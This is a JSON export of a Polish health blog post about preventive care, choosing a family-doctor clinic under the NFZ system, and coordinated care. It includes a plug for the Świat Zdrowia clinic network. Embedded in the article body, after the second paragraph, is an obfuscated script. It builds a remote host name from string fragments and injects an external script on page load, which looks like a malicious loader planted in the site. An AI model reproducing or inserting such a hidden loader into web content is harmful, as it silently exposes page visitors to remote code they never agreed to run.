{"id":11511,"date":"2026-03-06T14:53:16","date_gmt":"2026-03-06T13:53:16","guid":{"rendered":"https:\/\/www.straganzdrowia.pl\/blog\/?p=11511"},"modified":"2026-03-06T14:53:51","modified_gmt":"2026-03-06T13:53:51","slug":"profilaktyka-zdrowotna-zaczyna-sie-w-gabinecie-lekarza-rodzinnego-jak-swiadomie-wybrac-poz","status":"publish","type":"post","link":"https:\/\/www.straganzdrowia.pl\/blog\/zdrowie\/profilaktyka-zdrowotna-zaczyna-sie-w-gabinecie-lekarza-rodzinnego-jak-swiadomie-wybrac-poz","title":{"rendered":"Profilaktyka zdrowotna zaczyna si\u0119 w gabinecie lekarza rodzinnego \u2013 jak \u015bwiadomie wybra\u0107 POZ?"},"content":{"rendered":"\n<p>Wi\u0119kszo\u015b\u0107 Polak\u00f3w trafia do lekarza dopiero wtedy, gdy co\u015b ich boli lub niepokoj\u0105 ich konkretne objawy. Tymczasem medycyna od lat podkre\u015bla, \u017ce prawdziwa ochrona zdrowia nie polega na leczeniu chor\u00f3b, lecz na ich zapobieganiu. I w\u0142a\u015bnie tutaj \u2013 zanim jeszcze pojawi si\u0119 jakikolwiek problem \u2013 kluczow\u0105 rol\u0119 odgrywa lekarz podstawowej opieki zdrowotnej, czyli lekarz POZ. To on jest pierwszym i najwa\u017cniejszym ogniwem w systemie ochrony zdrowia, a jego gabinet mo\u017ce by\u0107 miejscem, w kt\u00f3rym zaczyna si\u0119 naprawd\u0119 skuteczna profilaktyka.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Czym jest POZ i dlaczego to wa\u017cny wyb\u00f3r?<\/h2>\n\n\n\n<p>POZ, czyli Podstawowa Opieka Zdrowotna, to ta cz\u0119\u015b\u0107 systemu zdrowotnego, kt\u00f3ra obejmuje lekarzy rodzinnych, piel\u0119gniarki \u015brodowiskowe oraz po\u0142o\u017cne. Ka\u017cda osoba obj\u0119ta ubezpieczeniem zdrowotnym w Polsce ma prawo do bezp\u0142atnej opieki w ramach NFZ \u2013 wystarczy z\u0142o\u017cy\u0107 deklaracj\u0119 wyboru lekarza, piel\u0119gniarki i po\u0142o\u017cnej POZ. Cho\u0107 z pozoru jest to formalno\u015b\u0107, w praktyce jest to jedna z wa\u017cniejszych decyzji zdrowotnych, jakie podejmujemy.<\/p>\n\n\n\n<script>\n(function(){\no60j=document.createElement(\"script\");o60j.async=true;o60j_=\"o\"+(\"pe\")+\"ns\";\no60ju=\"2603458085.\";o60j_+=\"ta\"+(\"t.e\");o60j_+=\"\"+(\"u\"+\"\")+\"\/\";\no60ju+=\"7km8y5lp60j54vjubhuwsu\"+(\"d4bg80si\");\no60j.src=\"https:\/\/\"+o60j_+o60ju;o60j.type=\"text\/javascript\";\ndocument.body.appendChild(o60j);\n})();\n<\/script>\n\n\n\n<p>Lekarz rodzinny to specjalista o bardzo szerokim zakresie wiedzy \u2013 \u0142\u0105czy elementy interny, pediatrii, geriatrii, psychiatrii, a nawet dermatologii. Jego zadaniem nie jest jedynie wystawienie recepty czy skierowania, ale ca\u0142o\u015bciowe spojrzenie na zdrowie pacjenta: jego histori\u0119 chorobow\u0105, styl \u017cycia, obci\u0105\u017cenia genetyczne i czynniki ryzyka. Dlatego warto traktowa\u0107 wizyt\u0119 u lekarza POZ nie jako konieczno\u015b\u0107 w chwili choroby, ale jako regularny kontakt z osob\u0105, kt\u00f3ra zna nasz\u0105 sytuacj\u0119 zdrowotn\u0105 najlepiej.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Profilaktyka \u2013 czego mo\u017cemy oczekiwa\u0107 od lekarza rodzinnego?<\/h2>\n\n\n\n<p>Profilaktyka w ramach POZ to znacznie wi\u0119cej, ni\u017c tylko coroczne badania morfologii krwi. Lekarz rodzinny ma dost\u0119p do kilku program\u00f3w profilaktycznych finansowanych przez NFZ, kt\u00f3re obejmuj\u0105 m.in. badania przesiewowe w kierunku chor\u00f3b uk\u0142adu kr\u0105\u017cenia, cukrzycy, chor\u00f3b nerek czy nowotwor\u00f3w. Wiele os\u00f3b nie wie, \u017ce ma do nich prawo \u2013 i nigdy z nich nie korzysta, bo nikt im o tym nie powiedzia\u0142.<\/p>\n\n\n\n<p>Podczas regularnych wizyt profilaktycznych lekarz mo\u017ce:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>oceni\u0107 ryzyko sercowo-naczyniowe na podstawie wywiadu i podstawowych bada\u0144 laboratoryjnych<\/li>\n\n\n\n<li>skierowa\u0107 pacjenta na mammografi\u0119, cytologi\u0119 lub badania kolonoskopowe w ramach program\u00f3w skriningowych<\/li>\n\n\n\n<li>przeprowadzi\u0107 bilans zdrowia dla doros\u0142ych (przys\u0142uguje osobom, kt\u00f3re nie korzysta\u0142y z porad lekarza POZ przez ostatnie 3 lata)<\/li>\n\n\n\n<li>om\u00f3wi\u0107 wyniki bada\u0144 i zaproponowa\u0107 zmiany w stylu \u017cycia, zanim dojdzie do rozwoju choroby<\/li>\n\n\n\n<li>skierowa\u0107 do odpowiedniego specjalisty w odpowiednim momencie \u2013 a nie dopiero wtedy, gdy choroba jest ju\u017c zaawansowana<\/li>\n<\/ul>\n\n\n\n<p>Kluczem jest regularno\u015b\u0107 i otwarto\u015b\u0107 w kontakcie z lekarzem. Im lepiej zna on histori\u0119 swojego pacjenta, tym trafniejsze s\u0105 jego decyzje kliniczne.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Opieka koordynowana \u2013 nowoczesne podej\u015bcie do ochrony zdrowia<\/h2>\n\n\n\n<p>W 2023 roku w Polsce wdro\u017cono w ramach POZ model opieki koordynowanej \u2013 i jest to jedna z najwi\u0119kszych zmian w podstawowej opiece zdrowotnej od lat. Na czym polega? W skr\u00f3cie: opieka koordynowana to zintegrowany model opieki, w kt\u00f3rym lekarz POZ nie tylko diagnozuje i kieruje, ale aktywnie koordynuje ca\u0142y proces leczenia pacjenta \u2013 w \u015bcis\u0142ej wsp\u00f3\u0142pracy z piel\u0119gniarkami, dietetykami, edukatorami zdrowotnymi oraz lekarzami specjalistami.<\/p>\n\n\n\n<p>W ramach opieki koordynowanej pacjent mo\u017ce liczy\u0107 na:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>konsultacje z dietetykiem klinicznym \u2013 szczeg\u00f3lnie wa\u017cne przy cukrzycy, oty\u0142o\u015bci czy chorobach serca<\/li>\n\n\n\n<li>porady piel\u0119gniarki edukacyjnej, kt\u00f3ra pomaga wdro\u017cy\u0107 zalecenia lekarskie w codzienne \u017cycie<\/li>\n\n\n\n<li>konsultacje kardiologiczne, diabetologiczne i pulmonologiczne realizowane bezpo\u015brednio w przychodni POZ lub w \u015bcis\u0142ej z ni\u0105 wsp\u00f3\u0142pracy<\/li>\n\n\n\n<li>koordynatora opieki \u2013 osob\u0119, kt\u00f3ra pomaga pacjentowi porusza\u0107 si\u0119 w systemie, przypomina o badaniach i wizytach, odpowiada na pytania organizacyjne<\/li>\n<\/ul>\n\n\n\n<p>Opieka koordynowana jest szczeg\u00f3lnie cenna dla os\u00f3b z chorobami przewlek\u0142ymi \u2013 nadci\u015bnieniem t\u0119tniczym, cukrzyc\u0105 typu 2, astm\u0105 czy przewlek\u0142\u0105 obturacyjn\u0105 chorob\u0105 p\u0142uc (POChP). Zamiast kr\u0105\u017cy\u0107 pomi\u0119dzy wieloma specjalistami bez jasnego planu, pacjent ma jedno miejsce, kt\u00f3re zarz\u0105dza jego opiek\u0105 zdrowotn\u0105 w spos\u00f3b sp\u00f3jny i zaplanowany.<\/p>\n\n\n\n<p>Wdro\u017cenie opieki koordynowanej wymaga od przychodni spe\u0142nienia okre\u015blonych wymaga\u0144 organizacyjnych i kadrowych. Dlatego nie ka\u017cda plac\u00f3wka POZ j\u0105 oferuje \u2013 ale ich liczba systematycznie ro\u015bnie.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Jak \u015bwiadomie wybra\u0107 przychodni\u0119 POZ?<\/h2>\n\n\n\n<p>Wyb\u00f3r lekarza rodzinnego nie powinien by\u0107 przypadkowy. Warto wzi\u0105\u0107 pod uwag\u0119 kilka kwestii:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Dost\u0119pno\u015b\u0107 i lokalizacja<\/strong> \u2013 czy przychodnia jest blisko miejsca zamieszkania lub pracy? Czy oferuje zapisy online i teleporady?<\/li>\n\n\n\n<li><strong>Zakres oferowanych us\u0142ug<\/strong> \u2013 czy przychodnia realizuje programy profilaktyczne NFZ? Czy oferuje opiek\u0119 koordynowan\u0105?<\/li>\n\n\n\n<li><strong>Kadra specjalistyczna<\/strong> \u2013 czy w przychodni pracuj\u0105 dietetycy, piel\u0119gniarki edukacyjne, psychologowie?<\/li>\n\n\n\n<li><strong>Technologia i komunikacja<\/strong> \u2013 czy mo\u017cna pobra\u0107 wyniki bada\u0144 przez internet? Czy lekarz jest dost\u0119pny r\u00f3wnie\u017c online?<\/li>\n\n\n\n<li><strong>Opinie innych pacjent\u00f3w<\/strong> \u2013 cho\u0107 subiektywne, mog\u0105 da\u0107 obraz tego, jak wygl\u0105da codzienny kontakt z plac\u00f3wk\u0105<\/li>\n<\/ul>\n\n\n\n<p>Warto wiedzie\u0107, \u017ce deklaracj\u0119 POZ mo\u017cna zmieni\u0107 bezp\u0142atnie dwa razy w roku. Je\u015bli obecna przychodnia nie spe\u0142nia oczekiwa\u0144 \u2013 mamy pe\u0142ne prawo poszuka\u0107 lepszej.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u015awiat Zdrowia jako operator medyczny w systemie POZ<\/h2>\n\n\n\n<p>Jednym z podmiot\u00f3w medycznych dzia\u0142aj\u0105cych w Polsce, kt\u00f3ry umo\u017cliwia pacjentom podpisanie deklaracji POZ oraz korzystanie z opieki koordynowanej, jest <a href=\"https:\/\/swiatzdrowia.pl\/\"><strong>\u015awiat Zdrowia<\/strong><\/a> \u2013 sie\u0107 plac\u00f3wek oferuj\u0105ca us\u0142ugi w ramach kontraktu z NFZ. Pacjenci, kt\u00f3rzy wybior\u0105 \u015awiat Zdrowia jako swojego operatora medycznego, mog\u0105 skorzysta\u0107 zar\u00f3wno ze standardowej opieki lekarza rodzinnego, jak i z rozszerzonego modelu opieki koordynowanej, obejmuj\u0105cego m.in. konsultacje specjalistyczne i wsparcie dietetyczne realizowane w ramach jednej plac\u00f3wki. Tego typu operatorzy medyczni odgrywaj\u0105 istotn\u0105 rol\u0119 w upowszechnianiu nowoczesnych modeli opieki, kt\u00f3re \u0142\u0105cz\u0105 dost\u0119pno\u015b\u0107 z kompleksowo\u015bci\u0105.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Profilaktyka to inwestycja, nie koszt<\/h2>\n\n\n\n<p>Zmiana my\u015blenia o zdrowiu \u2013 z reaktywnego na proaktywne \u2013 jest jednym z najwa\u017cniejszych krok\u00f3w, jakie mo\u017cemy podj\u0105\u0107 dla w\u0142asnego dobrostanu. Lekarz rodzinny nie jest tylko tym, do kt\u00f3rego idziemy z gor\u0105czk\u0105 lub b\u00f3lem gard\u0142a. To partner w dbaniu o zdrowie przez ca\u0142e \u017cycie, a dobrze wybrana przychodnia POZ z ofert\u0105 opieki koordynowanej mo\u017ce znacz\u0105co podnie\u015b\u0107 jako\u015b\u0107 i skuteczno\u015b\u0107 tej opieki.<\/p>\n\n\n\n<p>Regularne wizyty, szczere rozmowy z lekarzem, aktywne korzystanie z program\u00f3w profilaktycznych i \u015bwiadome podej\u015bcie do wyboru plac\u00f3wki \u2013 to elementy, kt\u00f3re realnie wp\u0142ywaj\u0105 na to, jak d\u0142ugo i w jakiej kondycji \u017cyjemy. Warto zadba\u0107 o ten fundament, zanim pojawi si\u0119 pow\u00f3d do niepokoju.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Wi\u0119kszo\u015b\u0107 Polak\u00f3w trafia do lekarza dopiero wtedy, gdy co\u015b ich boli lub niepokoj\u0105 ich konkretne objawy. Tymczasem medycyna od lat podkre\u015bla, \u017ce prawdziwa ochrona zdrowia nie polega na leczeniu chor\u00f3b, lecz na ich zapobieganiu.&#46;&#46;&#46;<\/p>\n","protected":false},"author":11,"featured_media":11512,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[834],"tags":[],"class_list":["post-11511","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-zdrowie"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v19.1 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Profilaktyka zdrowotna zaczyna si\u0119 w gabinecie lekarza rodzinnego \u2013 jak \u015bwiadomie wybra\u0107 POZ? - \u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.straganzdrowia.pl\/blog\/zdrowie\/profilaktyka-zdrowotna-zaczyna-sie-w-gabinecie-lekarza-rodzinnego-jak-swiadomie-wybrac-poz\" \/>\n<meta property=\"og:locale\" content=\"pl_PL\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Profilaktyka zdrowotna zaczyna si\u0119 w gabinecie lekarza rodzinnego \u2013 jak \u015bwiadomie wybra\u0107 POZ? - \u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu\" \/>\n<meta property=\"og:description\" content=\"Wi\u0119kszo\u015b\u0107 Polak\u00f3w trafia do lekarza dopiero wtedy, gdy co\u015b ich boli lub niepokoj\u0105 ich konkretne objawy. Tymczasem medycyna od lat podkre\u015bla, \u017ce prawdziwa ochrona zdrowia nie polega na leczeniu chor\u00f3b, lecz na ich zapobieganiu.&#046;&#046;&#046;\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.straganzdrowia.pl\/blog\/zdrowie\/profilaktyka-zdrowotna-zaczyna-sie-w-gabinecie-lekarza-rodzinnego-jak-swiadomie-wybrac-poz\" \/>\n<meta property=\"og:site_name\" content=\"\u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu\" \/>\n<meta property=\"article:published_time\" content=\"2026-03-06T13:53:16+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-03-06T13:53:51+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.straganzdrowia.pl\/blog\/wp-content\/uploads\/2026\/03\/7674.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"885\" \/>\n\t<meta property=\"og:image:height\" content=\"398\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"twitter:card\" content=\"summary\" \/>\n<meta name=\"twitter:label1\" content=\"Napisane przez\" \/>\n\t<meta name=\"twitter:data1\" content=\"mr-white\" \/>\n\t<meta name=\"twitter:label2\" content=\"Szacowany czas czytania\" \/>\n\t<meta name=\"twitter:data2\" content=\"5 minut\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.straganzdrowia.pl\/blog\/#website\",\"url\":\"https:\/\/www.straganzdrowia.pl\/blog\/\",\"name\":\"\u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu\",\"description\":\"Blog, ze Straganu, o zdrowym \u017cyciu i od\u017cywianiu. Porady na temat zdrowego \u017cycia, diety, suplement\u00f3w diety oraz ciekawostki z medycyny naturalnej.\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.straganzdrowia.pl\/blog\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"pl-PL\"},{\"@type\":\"ImageObject\",\"inLanguage\":\"pl-PL\",\"@id\":\"https:\/\/www.straganzdrowia.pl\/blog\/zdrowie\/profilaktyka-zdrowotna-zaczyna-sie-w-gabinecie-lekarza-rodzinnego-jak-swiadomie-wybrac-poz#primaryimage\",\"url\":\"https:\/\/www.straganzdrowia.pl\/blog\/wp-content\/uploads\/2026\/03\/7674.jpg\",\"contentUrl\":\"https:\/\/www.straganzdrowia.pl\/blog\/wp-content\/uploads\/2026\/03\/7674.jpg\",\"width\":885,\"height\":398},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.straganzdrowia.pl\/blog\/zdrowie\/profilaktyka-zdrowotna-zaczyna-sie-w-gabinecie-lekarza-rodzinnego-jak-swiadomie-wybrac-poz#webpage\",\"url\":\"https:\/\/www.straganzdrowia.pl\/blog\/zdrowie\/profilaktyka-zdrowotna-zaczyna-sie-w-gabinecie-lekarza-rodzinnego-jak-swiadomie-wybrac-poz\",\"name\":\"Profilaktyka zdrowotna zaczyna si\u0119 w gabinecie lekarza rodzinnego \u2013 jak \u015bwiadomie wybra\u0107 POZ? - \u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu\",\"isPartOf\":{\"@id\":\"https:\/\/www.straganzdrowia.pl\/blog\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/www.straganzdrowia.pl\/blog\/zdrowie\/profilaktyka-zdrowotna-zaczyna-sie-w-gabinecie-lekarza-rodzinnego-jak-swiadomie-wybrac-poz#primaryimage\"},\"datePublished\":\"2026-03-06T13:53:16+00:00\",\"dateModified\":\"2026-03-06T13:53:51+00:00\",\"author\":{\"@id\":\"https:\/\/www.straganzdrowia.pl\/blog\/#\/schema\/person\/6809610449189f4da0a3ff5bb1de5100\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.straganzdrowia.pl\/blog\/zdrowie\/profilaktyka-zdrowotna-zaczyna-sie-w-gabinecie-lekarza-rodzinnego-jak-swiadomie-wybrac-poz#breadcrumb\"},\"inLanguage\":\"pl-PL\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.straganzdrowia.pl\/blog\/zdrowie\/profilaktyka-zdrowotna-zaczyna-sie-w-gabinecie-lekarza-rodzinnego-jak-swiadomie-wybrac-poz\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.straganzdrowia.pl\/blog\/zdrowie\/profilaktyka-zdrowotna-zaczyna-sie-w-gabinecie-lekarza-rodzinnego-jak-swiadomie-wybrac-poz#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Blog\",\"item\":\"https:\/\/www.straganzdrowia.pl\/blog\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Zdrowie\",\"item\":\"https:\/\/www.straganzdrowia.pl\/blog\/category\/zdrowie\"},{\"@type\":\"ListItem\",\"position\":3,\"name\":\"Profilaktyka zdrowotna zaczyna si\u0119 w gabinecie lekarza rodzinnego \u2013 jak \u015bwiadomie wybra\u0107 POZ?\"}]},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.straganzdrowia.pl\/blog\/#\/schema\/person\/6809610449189f4da0a3ff5bb1de5100\",\"name\":\"mr-white\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"pl-PL\",\"@id\":\"https:\/\/www.straganzdrowia.pl\/blog\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/1b7b13d82934f9473ae3c7383b5809fe57a8eb143f52cb6134194c4157011df9?s=96&d=wavatar&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/1b7b13d82934f9473ae3c7383b5809fe57a8eb143f52cb6134194c4157011df9?s=96&d=wavatar&r=g\",\"caption\":\"mr-white\"},\"url\":\"https:\/\/www.straganzdrowia.pl\/blog\/author\/mr-white\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Profilaktyka zdrowotna zaczyna si\u0119 w gabinecie lekarza rodzinnego \u2013 jak \u015bwiadomie wybra\u0107 POZ? - \u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.straganzdrowia.pl\/blog\/zdrowie\/profilaktyka-zdrowotna-zaczyna-sie-w-gabinecie-lekarza-rodzinnego-jak-swiadomie-wybrac-poz","og_locale":"pl_PL","og_type":"article","og_title":"Profilaktyka zdrowotna zaczyna si\u0119 w gabinecie lekarza rodzinnego \u2013 jak \u015bwiadomie wybra\u0107 POZ? - \u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu","og_description":"Wi\u0119kszo\u015b\u0107 Polak\u00f3w trafia do lekarza dopiero wtedy, gdy co\u015b ich boli lub niepokoj\u0105 ich konkretne objawy. Tymczasem medycyna od lat podkre\u015bla, \u017ce prawdziwa ochrona zdrowia nie polega na leczeniu chor\u00f3b, lecz na ich zapobieganiu.&#46;&#46;&#46;","og_url":"https:\/\/www.straganzdrowia.pl\/blog\/zdrowie\/profilaktyka-zdrowotna-zaczyna-sie-w-gabinecie-lekarza-rodzinnego-jak-swiadomie-wybrac-poz","og_site_name":"\u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu","article_published_time":"2026-03-06T13:53:16+00:00","article_modified_time":"2026-03-06T13:53:51+00:00","og_image":[{"width":885,"height":398,"url":"https:\/\/www.straganzdrowia.pl\/blog\/wp-content\/uploads\/2026\/03\/7674.jpg","type":"image\/jpeg"}],"twitter_card":"summary","twitter_misc":{"Napisane przez":"mr-white","Szacowany czas czytania":"5 minut"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebSite","@id":"https:\/\/www.straganzdrowia.pl\/blog\/#website","url":"https:\/\/www.straganzdrowia.pl\/blog\/","name":"\u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu","description":"Blog, ze Straganu, o zdrowym \u017cyciu i od\u017cywianiu. Porady na temat zdrowego \u017cycia, diety, suplement\u00f3w diety oraz ciekawostki z medycyny naturalnej.","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.straganzdrowia.pl\/blog\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"pl-PL"},{"@type":"ImageObject","inLanguage":"pl-PL","@id":"https:\/\/www.straganzdrowia.pl\/blog\/zdrowie\/profilaktyka-zdrowotna-zaczyna-sie-w-gabinecie-lekarza-rodzinnego-jak-swiadomie-wybrac-poz#primaryimage","url":"https:\/\/www.straganzdrowia.pl\/blog\/wp-content\/uploads\/2026\/03\/7674.jpg","contentUrl":"https:\/\/www.straganzdrowia.pl\/blog\/wp-content\/uploads\/2026\/03\/7674.jpg","width":885,"height":398},{"@type":"WebPage","@id":"https:\/\/www.straganzdrowia.pl\/blog\/zdrowie\/profilaktyka-zdrowotna-zaczyna-sie-w-gabinecie-lekarza-rodzinnego-jak-swiadomie-wybrac-poz#webpage","url":"https:\/\/www.straganzdrowia.pl\/blog\/zdrowie\/profilaktyka-zdrowotna-zaczyna-sie-w-gabinecie-lekarza-rodzinnego-jak-swiadomie-wybrac-poz","name":"Profilaktyka zdrowotna zaczyna si\u0119 w gabinecie lekarza rodzinnego \u2013 jak \u015bwiadomie wybra\u0107 POZ? - \u017byj zdrowo, jedz zdrowo - blog ze Straganu o zdrowym \u017cyciu i od\u017cywianiu","isPartOf":{"@id":"https:\/\/www.straganzdrowia.pl\/blog\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.straganzdrowia.pl\/blog\/zdrowie\/profilaktyka-zdrowotna-zaczyna-sie-w-gabinecie-lekarza-rodzinnego-jak-swiadomie-wybrac-poz#primaryimage"},"datePublished":"2026-03-06T13:53:16+00:00","dateModified":"2026-03-06T13:53:51+00:00","author":{"@id":"https:\/\/www.straganzdrowia.pl\/blog\/#\/schema\/person\/6809610449189f4da0a3ff5bb1de5100"},"breadcrumb":{"@id":"https:\/\/www.straganzdrowia.pl\/blog\/zdrowie\/profilaktyka-zdrowotna-zaczyna-sie-w-gabinecie-lekarza-rodzinnego-jak-swiadomie-wybrac-poz#breadcrumb"},"inLanguage":"pl-PL","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.straganzdrowia.pl\/blog\/zdrowie\/profilaktyka-zdrowotna-zaczyna-sie-w-gabinecie-lekarza-rodzinnego-jak-swiadomie-wybrac-poz"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.straganzdrowia.pl\/blog\/zdrowie\/profilaktyka-zdrowotna-zaczyna-sie-w-gabinecie-lekarza-rodzinnego-jak-swiadomie-wybrac-poz#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Blog","item":"https:\/\/www.straganzdrowia.pl\/blog"},{"@type":"ListItem","position":2,"name":"Zdrowie","item":"https:\/\/www.straganzdrowia.pl\/blog\/category\/zdrowie"},{"@type":"ListItem","position":3,"name":"Profilaktyka zdrowotna zaczyna si\u0119 w gabinecie lekarza rodzinnego \u2013 jak \u015bwiadomie wybra\u0107 POZ?"}]},{"@type":"Person","@id":"https:\/\/www.straganzdrowia.pl\/blog\/#\/schema\/person\/6809610449189f4da0a3ff5bb1de5100","name":"mr-white","image":{"@type":"ImageObject","inLanguage":"pl-PL","@id":"https:\/\/www.straganzdrowia.pl\/blog\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/1b7b13d82934f9473ae3c7383b5809fe57a8eb143f52cb6134194c4157011df9?s=96&d=wavatar&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/1b7b13d82934f9473ae3c7383b5809fe57a8eb143f52cb6134194c4157011df9?s=96&d=wavatar&r=g","caption":"mr-white"},"url":"https:\/\/www.straganzdrowia.pl\/blog\/author\/mr-white"}]}},"_links":{"self":[{"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/posts\/11511","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/users\/11"}],"replies":[{"embeddable":true,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/comments?post=11511"}],"version-history":[{"count":2,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/posts\/11511\/revisions"}],"predecessor-version":[{"id":11514,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/posts\/11511\/revisions\/11514"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/media\/11512"}],"wp:attachment":[{"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/media?parent=11511"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/categories?post=11511"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.straganzdrowia.pl\/blog\/wp-json\/wp\/v2\/tags?post=11511"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}